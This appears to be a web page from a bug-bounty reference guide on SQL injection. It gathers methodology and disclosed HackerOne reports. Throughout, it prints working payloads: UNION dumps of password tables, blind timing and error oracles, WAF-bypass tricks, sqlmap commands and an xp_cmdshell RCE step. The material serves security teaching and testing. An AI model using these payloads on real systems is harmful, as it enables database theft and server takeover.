⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/SQL Injection
Vulnerabilities

SQL Injection

§Basic information

SQL Injection happens when the server builds a query by concatenating attacker input into SQL text, so the database parses your characters as syntax instead of data. The database is the crown jewels: SQLi reads every table (users, password hashes, reset tokens, share secrets), writes rows to forge admin sessions, and on DBA-privileged or xp_cmdshell-capable engines escalates straight to RCE. Treat it as a full-database read/write primitive and a frequent RCE on-ramp, not "we found a syntax error."

The whole game is layer and context. The same input is inert in one place and a breakout in another; a scalar-string sink, a numeric sink, an identifier (ORDER BY) sink, and a serialized-value (XML/JSON/base64) sink each need a different breaking char. Get the layer wrong and a "properly escaped" quote just means you sent the wrong encoding.

§Methodology

  1. Map inputs → queries. For every parameter, header, cookie, path segment, JSON/GraphQL field, and array member, find which reach a query. Search boxes, sort/pagination params, and validation fields are the richest sinks.
  2. Fire the layer-aware breaking char and watch for a 500 / DB error / changed response. In a serialized wrapper, encode the char in that layer (' for XML, ' inside a JSON string, base64 the whole payload).
  3. Confirm the context — string (quote breaks it), numeric (no quote needed, use AND 1=1/1=2), identifier (ORDER BY/sort — can't parameterize), or structural (JSON [null]/{}).
  4. Fingerprint the DBMS via comment behavior and quote-differential errors, then pick UNION vs inference.
  5. Extract or infer. Count columns, UNION-dump the users/hashes table; when there's no output, fall back to time/error/boolean oracles.
  6. Escalate to the real target — password-reset tokens, a stacked INSERT/UPDATE, or a WAITFOR/xp_cmdshell/reify() on-ramp to RCE.
-- Scalar/string probe (the universal tell) ' -- 500 / DB error / changed response = injectable string context '' -- back to normal = the quote broke it -- Numeric context (no quote needed) 1 AND 1=1 -- normal 1 AND 1=2 -- empty/different = injectable numeric context -- Boolean differential (works everywhere) ' OR '1'='1 vs ' OR '1'='2
▸ TIP
Identify the layer before firing payloads. A quote that comes back "safely escaped" is often the wrapper (XML/JSON/base64/ORM) neutralizing it — re-encode the breaking char in that layer and it reaches the SQL parser intact.

§Injection contexts

Find which sink your input lands in, then use the matching breakout.

Scalar string / numeric

The classic sink. Close the string, inject, comment out the tail. Numeric contexts need no quote at all.

' OR '1'='1'-- - -1 UNION ALL SELECT 1,2,concat(username,0x3a,password),4 FROM users-- - -- numeric path-segment UNION, no quotes: /item/-1 UNION SELECT 1,2,version(),4

Identifier: ORDER BY / sort

Identifiers and keywords cannot use bind variables, so sort/direction/column params stay injectable even in "parameterized" apps. Test them for stacked writes, not just reads.

-- ORDER BY direction -> stacked UPDATE (identifiers can't be bound) &ccm_order_by_direction=desc;UPDATE Users SET uEmail='ATK' WHERE uID=2;--

Array / hash structural injection

Injection through array members or keys survives "we use prepared statements," because the values feeding placeholder names or IN() lists are attacker-shaped.

-- imploded array member lands inside IN(...) groups[]=1) UNION SELECT NULL,password FROM users -- -- array KEYS interpolated into placeholder names (Drupalgeddon) name[test) -- ]=user
POST /reset HTTP/1.1 Content-Type: application/json {"token":[null]} # bypasses a nil? guard, generates IN (..., NULL) # variant that drops the WHERE clause entirely -> finder returns first record: {"token":{}}

Serialized / nested layers (XML, JSON, base64)

When input reaches SQL through a wrapper, the breaking char must survive that wrapper first. A raw quote is often re-encoded or rejected by the XML handling in front of the parser (quote-delimited attributes, re-serialization, or strict tools), so send it as an entity — ' decodes back to ' and reaches the SQL parser intact, while keeping the document well-formed for automation like sqlmap --tamper=htmlencode.

<MainAccount>123456&apos;</MainAccount>
# base64 GET param hides the whole query/payload from keyword WAFs GET /admin/query/run-query?thequery=c2VsZWN0ICogZnJvbSBleHBfbWVtYmVycw==

Headers, cookies & error/404 loggers

User-Agent, Referer, Host, cookies, and the raw request path are frequently INSERT'd by request/404 loggers without parameterization — an overlooked surface. Probe error responses with ', not just app params.

User-Agent: ' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
-- 404 logger INSERTs the raw path -> error-based SQLi in the error page GET /Campin/qsdqsd',(SELECT ...),1,1,1)#

NoSQL operator injection

On Mongo-backed apps (Meteor, Node), a parameter compared for authorization and reused in a find() accepts an operator object instead of a scalar. Auth bypass arises when the ACL check matches one document but the data query matches many.

Meteor.call('getUsersOfRoom', { $regex: '(<MY_ROOM_ID>|<TARGET_ROOM_ID>)' }, // operator object, not a string id true, console.log ); // {$ne: null} / {$gt: ''} / {$regex: '.*'} are the workhorses

§Fingerprint & inference oracles

Pin the engine with comment and quote-differential behavior, then — when the response never changes — infer.

-- quote-differential fingerprint (Oracle mod_plsql/APEX): f?1'=1 -> 500, f?1''=1 -> 404 -- MySQL comment needs the trailing space: 'or'1'='1'--+ -- Time-based (the workhorse when output is suppressed) ' AND SLEEP(5)-- - -- MySQL '; WAITFOR DELAY '0:0:5'-- -- MSSQL ' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -- PostgreSQL IF(MID(VERSION(),1,1)=5,SLEEP(5),0) -- CSRF-delivered blind -- Error-based (MySQL) — leaks data inside the error string ' AND extractvalue(1,concat(0x7e,(SELECT version())))-- - -- Blind char-by-char (case-sensitive — LIKE is not!) ' AND ascii(substr((SELECT password FROM admin LIMIT 1),N,1))=83-- -
● NOTE
The oracle need not be the response body. A stored value re-read as a count ("N other players"), an HTTP status, a row count, or even an ICMP packet size (#1216085 — one secret byte smuggled into ping -s) is a valid boolean/byte oracle. Any attacker-influenced measurable quantity works.

§Bypasses

Filter / controlBypassSeen in
Serialized-layer "escaping"encode the quote in the wrapper (&apos; XML / \u0027 JSON / base64) so it survives to SQL#531051
Akamai Kona WAFinline comment inside function calls breaks keyword signatures#403616
Keyword filter (error-based)comment-split keywords inside extractvalue() extraction#962889
Quote stripped, math notarithmetic SLEEP oracle in a header where ' is filtered but expressions pass#297478
Blocked whitespace/**/ inline comments substitute for spaces; LIKE-wildcard oracle#1893800, #838855
Signature WAF on SLEEPXOR-based sleep in a WP wp-login log param dodges the signature#1109311
Keyword WAFbase64-encode the whole query/JSON blob to hide the payload#149279, #150156
sqlmap finds nothing defaultstack tampers space2comment,randomcase,between, raise --risk/--level#692326
XML-well-formednessdrive sqlmap with --tamper=htmlencode to keep probes valid#531051
"We use prepared statements"inject via array KEYS (#31756) / IN()-imploded members (#1081145) / JSON [null],{} shapes#31756, #1081145, #139321
Auth-only endpoint (self-XSS-style)deliver blind SQLi cross-site via a no-nonce admin action (CSRF)#135288
String id type-checksend a Mongo operator object {$regex:...}/{$ne:null}#1410357
▲ WARNING
sanitize_text_field(), htmlspecialchars(), and HTML-escaping are not SQL escaping — they pass metacharacters straight through to the query (#3198980). Likewise, a per-query rollback transaction is not a control: stacked queries can ROLLBACK out of it and INSERT a persistent row (#1663299).

§Escalation & impact

The real payload is rarely version() — it's the users/hashes/reset-tokens table, a stacked write, or a deserialization/OS-exec on-ramp.

Second-order & recon-driven chains

Second-order: inject at one endpoint, execute at another (#1066233) — the stored value is used unsanitized in a COUNT(...) at /score, whose row count is the boolean oracle; sqlmap drives this via --second-url. Recon-driven: an exposed .git recovers source → review confirms select * from host where id=$id is injectable → UNION SQLi → ICMP-size exfil reconstructs the admin password byte by byte (#1216085). Oracle mod_plsql: on /pls/ gateways the injection is PL/SQL package invocation, not UNION — OWA_UTIL.CELLSPRINT/HTP.PRINT echo query output server-side (#178057).

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 122 in this class.

Real-world example

SQLi smuggled through XML-embedded values (MS Dynamics AX)

◆ Critical
Specimen #531051 · starbucks · awarded · 797 votes · resolved
Program starbucksSurface webTag file-upload

Root cause

A file-upload endpoint parsed uploaded XML and inserted node values (e.g. MainAccount numeric ID) into a WHERE clause. XML forbids a literal apostrophe, so naive quote tests are 'escaped' and miss the bug.

Method

  1. Enumerate subdomain -> HTML file-upload form; verbose errors reveal input is parsed as XML into Microsoft Dynamics AX, not saved.
  2. Use error messages to craft an accepted XML doc (nodes MainAccount, Credit, Debit, Invoice...).
  3. Inject the quote as an XML entity &apos; inside a numeric node; server returns a database error.
  4. Confirm time-based blind, then automate with sqlmap using --tamper htmlencode; DB version = Microsoft SQL Server 2012.
<MainAccount>123456&apos;</MainAccount> # then automate: sqlmap -r req.xml --tamper=htmlencode

Insight — When user input reaches SQL through an XML/JSON/serialized layer, encode the breaking char in that layer's syntax (&apos; for XML, \u0027 for JSON). A 'properly escaped' quote may just mean you sent the wrong encoding. Revisit stale targets.

Real-world example

Time-based SQLi in HTTP headers (User-Agent / Referer) with arithmetic sleep oracle

◆ Critical
Specimen #297478 · gsa_bbp · awarded · 699 votes · resolved
Program gsa_bbpSurface web

Root cause

HTTP headers (User-Agent, Referer) are logged/stored into a SQL query unsanitized. Blind, so confirm with time delays; arithmetic inside sleep() proves the value is truly evaluated as SQL, not a fixed delay.

Method

  1. Send benign request, then inject the payload into the User-Agent (or Referer) header.
  2. Use sleep(5*5) -> ~25s, sleep(5*5*0) -> ~0s, sleep(6*6-30) -> ~6s to prove the DB evaluates the arithmetic.
  3. The XOR/if(now()=sysdate(),sleep(),0) wrapper also doubles as a WAF/keyword-bypass form of the payload.
User-Agent: Mozilla/5.0 ...Chrome/55.0'XOR(if(now()=sysdate(),sleep(5*5),0))OR' # Referer variant (#995122): Referer: http://www.google.com/search?q='+(select*from(select(sleep(7*7)))a)+'

Insight — Always fuzz headers (User-Agent, Referer, X-Forwarded-For, Cookie) for SQLi, not just query/body params. Prove blind SQLi with arithmetic sleep (sleep(5*5) vs sleep(5*5*0)) so a fixed WAF/proxy delay can't be mistaken for a hit.

Real-world example

Akamai Kona WAF bypass via inline comment inside function calls

◆ Critical
Specimen #403616 · eternal · USD 4500 · 325 votes · resolved
Program eternalSurface web

Root cause

item_id POST param concatenated into SQL. Akamai Kona WAF blocks patterns like sleep( and version(, but allows the same tokens when an inline /*...*/ comment splits the function name from its parenthesis.

Method

  1. Confirm SQLi with sleep(): item_id=1111-sleep/*f*/(10).
  2. Extract data via boolean: compare mid(version/*f*/(),1,1)=5 (delay) vs =4 (no delay).
  3. Defeat result caching keyed on the integer by incrementing/decrementing the numeric prefix each request.
res_id=1111&method=add_menu_item_tags&item_id=1111-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)&new_tags[]=3&menu_id=1111

Insight — When a WAF blocks function-name signatures, split the call with an inline comment: sleep/*x*/(...), version/*x*/(). If responses look cached, mutate the leading integer to bust the cache key.

Real-world example

Unauth WSDL/SOAP service -> blind SQLi -> xp_cmdshell RCE

◆ Critical
Specimen #592400 · starbucks · awarded · 236 votes · resolved
Program starbucksSurface apiChain unauth WSDL enumeration -> blind SQLi -> xp_cmdshell -

Root cause

A browsable WSDL SOAP service on a non-standard port exposed unauthenticated functions; at least one was blind-SQLi-vulnerable on MSSQL, and the DB user could invoke xp_cmdshell to run OS commands.

Method

  1. Find a WSDL/SOAP service on a non-standard port via subdomain/port scanning.
  2. Call functions without auth (they returned users/passwords on test data).
  3. Exploit blind SQLi to reach MSSQL, then enable/call xp_cmdshell and prove RCE safely with ping to a collaborator host.
# MSSQL OS command via stacked query: ; EXEC xp_cmdshell 'ping COLLAB';--

Insight — Enumerate non-standard ports for SOAP/WSDL endpoints - they are often unauthenticated 'test' services. On MSSQL, escalate SQLi to RCE with xp_cmdshell; demonstrate impact with an OOB ping rather than destructive commands.

Real-world example

SQL injection in JSON PUT body field

◆ Critical
Specimen #1044716 · eternal · 2000 · 228 votes · resolved
Program eternalSurface api

Root cause

A REST onboarding endpoint reflected a JSON body field (salesLeadId) into a SQL statement without parameterization; boolean AND/OR payloads change results, confirming injection in an unexpected (PUT/JSON) context.

Method

  1. Send the baseline PUT /consumer/onboarding/saleslead/<id> to learn the normal response
  2. Inject boolean conditions into the id/body value: ' AND 1=1 -- vs ' AND 1=0 --
  3. Compare responses to confirm the AND/OR conditions are evaluated by the DB
PUT /consumer/onboarding/saleslead/6b6a8a5a-... HTTP/1.1 Content-Type: application/json {"...":"...","salesLeadId":"31cf8eb0-...\" AND 1=1 -- "}

Insight — SQLi lives in non-GET contexts too - JSON bodies, PUT/PATCH, GUID-looking path/body params. Always boolean-diff (1=1 vs 1=0) on identifiers even when they look like opaque UUIDs.

Real-world example

Boolean-based blind SQLi in a REST URL path segment

◆ Critical
Specimen #2051931 · indrive · USD 4134 · 196 votes · resolved
Program indriveSurface api

Root cause

A numeric value embedded directly in the REST path (.../number_trips/1/999) is concatenated into a PostgreSQL query. Appending or 1=1-- vs or 1=2-- yields a row vs an empty response - a clean boolean oracle.

Method

  1. Identify a numeric path segment consumed by an API (found via a promo front-end call).
  2. Append boolean condition to the last segment: /999 or 1=1-- (returns a random row) vs /999 or 1=2-- (empty).
  3. Confirm DBMS by extracting version (PostgreSQL 14.8).
GET /api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1-- GET /api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=2--

Insight — Do not stop at query/body params - values in the URL PATH are frequently spliced raw into SQL. Use a 1=1 vs 1=2 differential on the path segment as the boolean oracle.

Real-world example

SQLi via GraphQL query-string parameter (stacked queries)

◆ Critical
Specimen #435066 · security · none · 174 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

A GraphQL feature read embedded_submission_form_uuid from the URL query string and interpolated it into 'SET SESSION #{key} TO #{value};' PostgreSQL statements. GraphQL query parameters (unlike input fields) were never designed for raw user input and were unsanitized.

Method

  1. Send POST /graphql with the parameter in the query string.
  2. Break out with a quote and append stacked statements ending in pg_sleep.
  3. Confirm with timing: pg_sleep(5) -> ~5s, pg_sleep(10) -> ~10s.
curl -X POST 'https://TARGET/graphql?embedded_submission_form_uuid=1%27%3BSELECT%201%3BSELECT%20pg_sleep(10)%3B--%27' # decoded: 1';SELECT 1;SELECT pg_sleep(10);--'

Insight — GraphQL endpoints also accept query-string/URL parameters that bypass the sanitization applied to GraphQL input fields. Root cause here is string-interpolated SET SESSION - any 'SET key TO value' built from user input is a SQLi sink.

Real-world example

UNION-based SQLi in a numeric URL path segment

◆ Critical
Specimen #1046084 · automattic · awarded · 136 votes · resolved
Program automatticSurface webTag sqli

Root cause

A site-id embedded in the URL path (/commenthistory/{id}) was concatenated into a SQL query unsanitised, allowing UNION SELECT extraction (MariaDB).

Method

  1. Locate a numeric path segment used in a lookup
  2. Append UNION SELECT with matching column count
  3. Read @@VERSION / current_user() in the reflected column
https://intensedebate.com/commenthistory/<SITE_ID>%20union%20select%201,2,@@VERSION%23 https://intensedebate.com/commenthistory/<SITE_ID>%20union%20select%201,2,current_user()%23

Insight — Injection lives in path segments too, not just query/body. When a numeric resource id is reflected on the page, fuzz it with UNION and #-comment; the reflected column reveals @@VERSION/current_user.

Real-world example

Time-based SQLi in a field inside a JSON GET data= blob (IntenseDebate)

◆ Critical
Specimen #1044698 · automattic · awarded · 129 votes · resolved
Program automatticSurface web

Root cause

The comment API takes a JSON object in the data= query parameter; the acctid field within it is concatenated into a MySQL query. The same acctid GET param is injectable across multiple IntenseDebate endpoints (importStatus.php, changeReplaceOpt.php).

Method

  1. Capture the GET /js/commentAction/?data={...JSON...} request when replying to a comment.
  2. Inject into the acctid field inside the JSON: acctid=251219 AND SLEEP(15)#.
  3. Confirm timing scales (SLEEP(15) ~15.4s, SLEEP(7) ~7.6s).
GET /js/commentAction/?data={"request_type":"0","params":{...,"acctid":"251219 AND SLEEP(15)#",...}} # also: /changeReplaceOpt.php?opt=1&acctid=419523 AND SLEEP(15) # also: /js/importStatus.php?acctid=1 (sqlmap boolean+time-based)

Insight — Injectable fields are often nested inside a JSON object that is itself a single GET/POST param - expand and fuzz each inner field. When one param name (acctid) is injectable on one endpoint, test it on every sibling endpoint of the same app.

Real-world example

SQLi in URL path segments (IDs spliced raw into query)

◆ Critical
Specimen #2633959 · mtn_group · none · 113 votes · resolved
Program mtn_groupSurface web

Root cause

An app takes ID numbers (userId/customerId/contactPersonId) as URL path segments and inserts them directly into the backend SQL query. A single quote appended to customerId breaks the query; the injection recurs across many path-based endpoints.

Method

  1. Take a normal app-generated URL with numeric path segments.
  2. Append a single quote to a segment (.../customerId/732562'/...) -> backend query breaks.
  3. Mark the segment with an asterisk and run sqlmap to dump the DB.
https://TARGET/customerInsurance/newCustomerStep8/userId/868878/customerId/732562'/contactPersonId/0 # sqlmap: put * at the injection segment: .../customerId/732562*/...

Insight — RESTful path-parameter apps that embed passport/ID/org numbers are a broad SQLi surface; if one path segment is injectable, test all of them. Use sqlmap's asterisk marker to point it at a path segment.

Real-world example

Django ORM SQLi via attacker-controlled relation alias (FilteredRelation)

◆ Critical
Specimen #3292573 · django · none · 95 votes · resolved
Program djangoSurface web

Root cause

annotate() alias names used with FilteredRelation and passed to select_related() are embedded into SQL as identifiers without quoting/validation. A double quote in the alias breaks out of the identifier and injects arbitrary SQL - the ORM parameterizes values but not relation aliases.

Method

  1. Find an app that lets users control an annotate() alias / relation name (e.g. dynamic field selection).
  2. Set the alias to a string containing a double quote: author_join2\".
  3. The generated JOIN/SELECT contains the unescaped alias, injecting SQL.
user_data = 'author_join2"' qs = Book.objects.annotate(**{user_data: FilteredRelation('author')}).select_related(user_data) qs._fetch_all()

Insight — ORM safety covers VALUES, not IDENTIFIERS (table/column/alias/relation names). Anywhere user input reaches an alias, field name, order_by, or relation path, the ORM may concatenate it raw - audit those code paths.

Real-world example

PostgreSQL injection in a signup invite_code param

◆ Critical
Specimen #2209130 · mozilla · awarded · 93 votes · resolved
Program mozillaSurface web

Root cause

The invite_code field of an OIDC-proxy signup POST is concatenated into a PostgreSQL query. Quote parity (one quote -> 500, two -> 200) flags it; a subquery PG_SLEEP confirms.

Method

  1. During registration, capture the /signup POST containing invite_code.
  2. Send invite_code=xxx' -> HTTP 500; invite_code=xxx'' -> HTTP 200 (parity tell).
  3. Confirm time-based: invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))-- delays 5s (scale to 10/20s).
invite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))--

Insight — Invite-code / coupon / voucher fields on signup flows are commonly looked up via raw SQL. On Postgres use (SELECT x FROM PG_SLEEP(n)) as a subquery so it works inside various clause contexts; use the 500-vs-200 quote-parity signal to detect.

Real-world example

Django ORM SQLi via unvalidated _connector in Q(**user_input)

◆ Critical
Specimen #3335709 · django · none · 76 votes · resolved
Program djangoSurface web

Root cause

WhereNode.as_sql builds the clause connector with unsafe formatting: conn = ' %s ' % self.connector. The connector is settable via the _connector key of a Q object, so Q(**user_controlled_dict) lets an attacker inject arbitrary SQL into the WHERE clause, bypassing parameterization.

Method

  1. Find an app that unpacks a user filter dict directly: Q(**request.json['filters']).
  2. Include a _connector key whose value is a malicious SQL fragment.
  3. The fragment is injected between conditions in the WHERE clause.
filters = {"_connector": "<SQL>", ...} query = Q(**filters) # VULNERABLE User.objects.filter(query)

Insight — Never unpack user-controlled dicts into Q(**...) / QuerySet kwargs - keys like _connector, _negated and lookups reach SQL structure, not just values. Same lesson as the FilteredRelation alias bug: ORM identifiers/operators are unparameterized.

Real-world example

SQLi in HTTP cookies found by fuzzing oddly-named cookies

◆ Critical
Specimen #300176 · eternal · USD 1000 · 72 votes · resolved
Program eternalSurface web

Root cause

Cookie values were interpolated into a login-page SQL query unsanitized; two differently-named cookies were injectable via different techniques (time-based and boolean).

Method

  1. Observe unusual cookie names set on the login page (here: orange, squeeze)
  2. Fuzz each cookie value with SQLi probes
  3. orange: confirm with an equality-sleep payload (response also flips 302->200)
  4. squeeze: confirm with boolean true#/false# comment payloads
  5. Extract version with MID(VERSION(),1,1) conditionals
Cookie orange: 1'=sleep(10)='1 Cookie orange: '=IF(MID(VERSION(),1,1)=5,SLEEP(10),0)='1 Cookie squeeze: 1 ' or true# Cookie squeeze: 1 ' or false#

Insight — Cookies are an under-tested injection surface. Non-standard/app-specific cookie names are a tell that they feed custom queries - fuzz every cookie, not just URL/body params. A response-code flip (302->200) is as strong a signal as a time delay.

Real-world example

Blind SQLi via LocalParam (res_id) with inline-comment whitespace bypass

◆ Critical
Specimen #838855 · eternal · USD 2000 · 68 votes · resolved
Program eternalSurface web

Root cause

res_id request param concatenated into a query; a MySQL CASE/WHEN conditional gates SLEEP to give a boolean/time oracle. /**/ comments replace spaces to survive filtering.

Method

  1. POST to /php/geto2banner with res_id containing a CASE/WHEN sleep gadget
  2. Prefix the numeric id (51-...) so the injection lands after a valid value
  3. Replace spaces with /**/ to bypass naive whitespace filters
  4. Vary the LENGTH(version()) constant to confirm the conditional controls delay
POST /php/geto2banner HTTP/1.1 Host: www.zomato.com Content-type: application/x-www-form-urlencoded res_id=51-CASE/**/WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END&city_id=0

Insight — CASE/**/WHEN(cond)THEN(SLEEP(n))END is a clean, quote-free MySQL time oracle usable in numeric contexts; /**/ inline comments are a reliable space substitute against WAFs/filters. Prefix numeric-context payloads with a valid id and an arithmetic operator (51-...).

Real-world example

MSSQL time-based blind SQLi on OAuth token endpoint (refresh_token)

◆ Critical
Specimen #1034625 · informatica · none · 68 votes · resolved
Program informaticaSurface apiTag oauth

Root cause

The refresh_token value POSTed to an OAuth /api/v1/token endpoint is concatenated into a SQL lookup on MSSQL, exploitable with WAITFOR DELAY despite the generic invalid_grant error.

Method

  1. POST grant_type=refresh_token with a WAITFOR DELAY payload appended to refresh_token
  2. Time the response; a '0:0:13' delay confirms execution vs '0:0:1'
  3. Note the error body stays constant (invalid_grant) - rely on timing, not response content
curl -X POST "https://TARGET/api/v1/token" -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=refresh_token&refresh_token='; WAITFOR DELAY '0:0:13'--"

Insight — Token/session endpoints look up credentials in a DB and are frequently unparameterized. refresh_token, session, api_key style params are prime blind-SQLi sinks; a constant error body does not rule out injection - measure timing. WAITFOR DELAY is the MSSQL time oracle.

Real-world example

Boolean SQLi via response-length differential (order_id)

◆ Critical
Specimen #358669 · eternal · USD 1000 · 63 votes · resolved
Program eternalSurface web

Root cause

order_id param concatenated into a string-context query; a quote-broken if() conditional changes the returned content length, giving a boolean oracle.

Method

  1. Inject an if(cond) conditional wrapped in quote-break syntax into order_id
  2. Diff response length between the true and false branches
  3. Use the length differential to extract data bit-by-bit
'-if(1=2,'0','1')-'

Insight — When there is no error and no delay, response Content-Length is the oracle. The '-if(...)-' pattern concatenates a conditional into a string context; watch length, not body text.

Real-world example

Unauth error-based SQLi via Prisma queryRaw (extractvalue XPATH leak)

◆ Critical
Specimen #1626226 · deptofdefense · awarded · 61 votes · resolved
Program deptofdefenseSurface api

Root cause

A REST path segment (/api/organizations/<id>) is interpolated into a Prisma queryRaw() call unescaped; MySQL extractvalue() forces the injected subquery result into an XPATH-syntax error that echoes the data.

Method

  1. Append a single quote to the path id and observe a Prisma/queryRaw 500 error
  2. Wrap a subquery in extractvalue(rand(),concat(0x3a,(SELECT ...))) so the result is embedded in the XPATH error message
  3. Read user()/version()/database() straight from the error
  4. Dump tables via information_schema with limit N,1 to iterate rows
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa # extract tables: GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from information_schema.tables limit 54,1))))='

Insight — 'Raw' ORM escape hatches (Prisma queryRaw, Sequelize literal, Django .raw/.extra) reintroduce classic SQLi. MySQL error-based extractvalue(concat(0x3a,(subquery))) leaks up to 32 bytes per request without UNION and works even when data isn't reflected. Test path segments, not only query/body params.

Real-world example

ORDER BY injection via Rails reorder(params[:order]) with boolean CASE exfiltration (CVE-2017-0914)

◆ Critical
Specimen #298176 · gitlab · USD 2000 · 41 votes · resolved
Program gitlabSurface api

Root cause

MilestonesFinder passes the raw order param into ActiveRecord reorder() without sanitization; ORDER BY accepts an expression, enabling a CASE-based boolean oracle that reorders rows to leak data.

Method

  1. Create a group with two milestones (two rows to reorder)
  2. Request the milestones JSON with ?order=<CASE payload>
  3. The CASE compares a subquery char to a letter and picks sort column 1 vs 2, flipping row order
  4. Read the row order in the response to determine the char; iterate to exfiltrate arbitrary columns (e.g. users.email)
?order=(CASE SUBSTR((SELECT email FROM users WHERE username = 'victim'), 1, 1) WHEN 'a' THEN (CASE id WHEN 429944 THEN 2 ELSE 1 END) ELSE 1 END)

Insight — reorder()/order() in Rails (and equivalent ORM order helpers) take raw SQL - any user-controlled sort param is injectable. Even with no error/time/content leak, ROW ORDER itself is a boolean oracle: gate the sort column on a data-dependent CASE and read the ordering. Data-exfil without UNION or errors.

Real-world example

Blind SQLi in URL path segment with redirect-vs-500 oracle and whitespace-free payloads

◆ Critical
Specimen #1527284 · ibm · none · 35 votes · resolved
Program ibmSurface web

Root cause

Path processing on the site interpolates the URL path into SQL; a single quote right after the leading slash starts injection, and query success vs failure maps to distinguishable responses.

Method

  1. Put a single quote immediately after the leading slash in any path
  2. Observe the two states: valid SQL -> endless redirect, failed SQL -> HTTP 500
  3. Use that redirect/500 split as a boolean oracle to exfiltrate data
  4. Since spaces and newlines are blocked, rewrite payloads without whitespace (comments/parentheses)
GET /'<boolean-condition> -> redirect (true) vs HTTP 500 (false)

Insight — URL path segments are an injection surface on essentially every route when path processing hits the DB - test a quote right after '/'. When the app never reflects query output, find any binary behavioral difference (redirect vs error) as the oracle. Space/newline filters are beaten with whitespace-free SQL (/**/, parentheses).

Real-world example

Time-based blind SQLi in admin login form (login parameter)

◆ Critical
Specimen #865436 · mtn_group · none · 32 votes · resolved
Program mtn_groupSurface web

Root cause

The webadmin login endpoint concatenated the 'login' POST field into a MySQL query, giving a time-based blind SQLi in the username field before authentication.

Method

  1. Intercept the admin login POST (login=&pass=)
  2. Break the query with login=user' and confirm error/behavior change
  3. Save request and run sqlmap targeting the login parameter
login=admin' AND (SELECT 5206 FROM (SELECT(SLEEP(5)))THtF) AND 'MHhg'='MHhg&pass=admin

Insight — Login forms remain a prime SQLi surface: test the username field first with a SLEEP payload before assuming credentials are needed. sqlmap -r on the saved POST resumes quickly against MySQL >= 5.0.12.

Real-world example

IN()-clause SQLi via imploded array parameter (ImpressCMS findusers.php)

◆ Critical
Specimen #1081145 · impresscms · none · 30 votes · resolved
Program impresscmsSurface webChain auth bypass (#1081137) + IN()-clause SQLi -> unauthenticaTag account-takeover

Root cause

getUsersByGroupLink()/getUserCountByGroupLink() build 'm.groupid IN (' . implode(', ', $groups) . ')' directly from the $_POST['groups'] array, so array elements are injected verbatim into the IN() list.

Method

  1. POST to /include/findusers.php with groups[] array elements containing SQL
  2. Elements are imploded into an IN() clause -> boolean-based blind SQLi against the users table
  3. Chain with #1081137 (auth bypass) to exploit unauthenticated, dumping emails/password hashes
POST /include/findusers.php groups[]=1) UNION SELECT ... -- # imploded into: m.groupid IN (1) UNION SELECT ... --)

Insight — Any array parameter that is implode()'d into an IN(...) clause is a SQLi sink even when the app looks parameterized elsewhere. Grep source for implode( into SQL. A quality/validation bug in one endpoint (auth bypass) can turn an admin-only SQLi into unauth.

Real-world example

MSSQL SQLi in REST /api/ URL path with inline-comment UNION bypass

◆ Critical
Specimen #1125752 · tennessee-valley-authority · none · 30 votes · resolved
Program tennessee-valley-authoritySurface api

Root cause

A REST endpoint interpolated a path segment (river/observed-data/<id>) into an MSSQL query; the injection point is in the URL path, not a query string, and a versioned-comment UNION defeated filtering.

Method

  1. Inject into the trailing path segment after a station id
  2. Use /*!50000union*/ inline comment to slip UNION past filters and select HOST_NAME()/@@version
  3. Confirm blind via WAITFOR DELAY timing
GET /api/river/observed-data/GVDA1'+/*!50000union*/+SELECT+@@version--+- GET /api/river/observed-data/-GVDA1'+WAITFOR+DELAY+'0:0:10'--+-

Insight — URL path segments are injectable too, not just ?params. On MSSQL use WAITFOR DELAY for timing and try MySQL-style /*!...*/ versioned comments as a generic filter/WAF bypass token even against non-MySQL backends.

Real-world example

Classic ASP/MSSQL GET-parameter SQLi enumerated with sqlmap

◆ Critical
Specimen #1628408 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface web

Root cause

A legacy .asp endpoint concatenated the selMajcom GET parameter into an MSSQL query; unauthenticated SQLi exposing 24 databases.

Method

  1. Identify the .asp endpoint and vulnerable GET param (selMajcom)
  2. Mark the injection point with an asterisk for sqlmap (selMajcom=MAT*)
  3. Run sqlmap -r dod.txt --dbs --level 3 --risk 3 to enumerate databases
GET /.../RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29... # sqlmap: python sqlmap.py -r dod.txt --dbs --level 3 --risk 3

Insight — Legacy .asp + MSSQL stacks are reliable SQLi hunting ground. Use sqlmap's * marker to pin a specific injection point inside a complex request, and raise --level/--risk to reach params scanners skip by default.

§References & practice

  1. PortSwigger Web Security Academy — SQL injection labs (hands-on practice).
  2. All 122 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.